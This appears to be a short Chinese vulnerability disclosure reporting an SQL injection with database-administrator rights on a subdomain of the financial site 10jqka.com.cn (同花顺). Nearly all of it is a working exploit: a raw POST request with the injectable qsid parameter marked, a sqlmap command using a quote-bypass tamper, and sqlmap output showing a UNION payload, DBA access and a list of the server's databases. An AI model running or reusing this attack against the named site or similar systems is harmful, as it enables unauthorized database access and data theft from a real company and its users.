同花顺某处宽子节SQL注入（DBA权限）

POST /qscomment/index.php?action=CommentList HTTP/1.1
 Host: kh.10jqka.com.cn
 Content-Length: 105
 Accept-Language: zh-Hans;q=1, en;q=0.9, fr;q=0.8, de;q=0.7, zh-Hant;q=0.6, ja;q=0.5
 Accept-Encoding: gzip, deflate
 Host: kh.10jqka.com.cn
 Accept: */*
 User-Agent: HXStockAccount/4.00.01 (iPhone; iOS 7.1.1; Scale/2.00)
 Connection: keep-alive
 Cookie: lat=30.58108413; lng=114.31620010
 Content-Type: application/x-www-form-urlencoded
 
 
 action=CommentList&qsid=1*&page=0&size=10

sqlmap -r 1.txt --dbms=mysql --tamper "unmagicquotes" --dbs

sqlmap identified the following injection point(s) with a total of 89 HTTP(s) requests:
 ---
 Parameter: #1* ((custom) POST)
     Type: UNION query
     Title: Generic UNION query (NULL) - 4 columns
     Payload: 
 action=CommentList&qsid=1' UNION ALL SELECT CONCAT(0x717a7a6271,0x716e5a53456b61484b537255554d584e58666f79555652474c53656c68657968516377656d487a69,0x7170626a71),NULL,NULL,NULL-- -&page=0&size=10 
 ---
 web application technology: Nginx, PHP 5.4.32
 back-end DBMS: MySQL >= 5.0.0
 current user is DBA:    True
 available databases [11]:
 [*] 10jqka_eq
 [*] 10jqka_gg
 [*] 10jqka_kh
 [*] 10jqka_mg
 [*] 10jqka_webkh
 [*] information_schema
 [*] innodb
 [*] log
 [*] mysql
 [*] performance_schema
 [*] test